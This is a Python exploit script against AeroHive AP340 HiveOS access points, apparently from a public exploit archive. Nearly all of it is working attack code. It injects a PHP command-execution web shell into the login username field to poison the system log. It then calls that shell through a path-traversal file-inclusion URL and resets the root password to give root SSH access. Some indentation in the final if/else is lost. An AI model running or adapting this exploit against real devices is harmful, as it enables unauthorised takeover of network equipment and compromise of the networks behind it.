Aerohive AP340 HiveOS Remote Code Execution / Local File Inclusion

`#!/usr/bin/python3  
  
# TARGET: AeroHive AP340 HiveOS < 6.1r5  
# Confirmed working on AP340 HiveOS 6.1r2  
# This program uses a local file inclusion vulnerability  
# 1. Poison the log file in /var/log/messages by injecting PHP code into the   
# username field of the login page  
# 2. Call the uploaded PHP shell with the LFI URL, changing the root password for SSH  
# 3. Login with SSH as root using password "password"  
  
import sys  
from urllib.parse import urlencode  
from urllib.request import Request, urlopen  
import urllib  
  
  
  
# Payload to poison the log file at /var/log/messages  
# Note if you mess up and get invalid syntax errors just reboot AP it  
# will erase/rotate the logs  
  
payload_inject = "<?php if(isset($_REQUEST[\'cmd\'])){ $cmd = ($_REQUEST[\"cmd\"]); system($cmd); echo \"</pre>$cmd<pre>\"; die; } ?>"  
  
# URL of the login page where we will inject our PHP command exec code so it poisons the log file  
post_url= "/login.php5?version=6.1r2"  
post_fields = {"login_auth" : "1", "miniHiveUI" : "1", "userName" : payload_inject, "password" : "1234"}  
post_fields = urllib.parse.urlencode(post_fields)  
data = post_fields.encode('ascii')  
  
  
# Payload to call the injected PHP code  
payload_lfi_url = "/action.php5?_action=get&_actionType=1&_page=../../../../../../../../../../var/log/messages%00&cmd="  
  
# Payload to change the root SSH user password  
payload_command = "echo+root:password+|+/usr/sbin/chpasswd"  
  
# Combined payload to change password using LFrI  
payload_chpasswd = payload_lfi_url+payload_command  
  
print("\n* * * * * AeroHive AP340 HiveOS < 6.1r2 Root Exploit * * * * *\n")  
  
# Get target URL from user  
print("\nPlease enter the IP address of the AeroHive AP340 ex: 192.168.1.1\n")  
wap_ip = input(">>> ")  
base_url = "http://" + wap_ip  
  
# Poison log file with POST to login page  
# json_data = json.dumps(post_fields).encode("utf8")  
# request = urllib.request.Request(base_url+post_url, post_fields)  
print ("Poisoning log file at /var/log/messages. . .")  
request = urllib.request.Request(base_url+post_url, data)  
json = urlopen(request).read().decode()  
  
# Change the command with LFI->command execution  
print("Interacting with PHP shell to change root password. . .")  
content = urllib.request.urlopen(base_url+payload_chpasswd).read()  
if "Password for " in content.decode('ascii'):  
print("Success!")  
print("Now try to log in with root:password via SSH!")  
else:  
print("Exploit Failed")  
  
`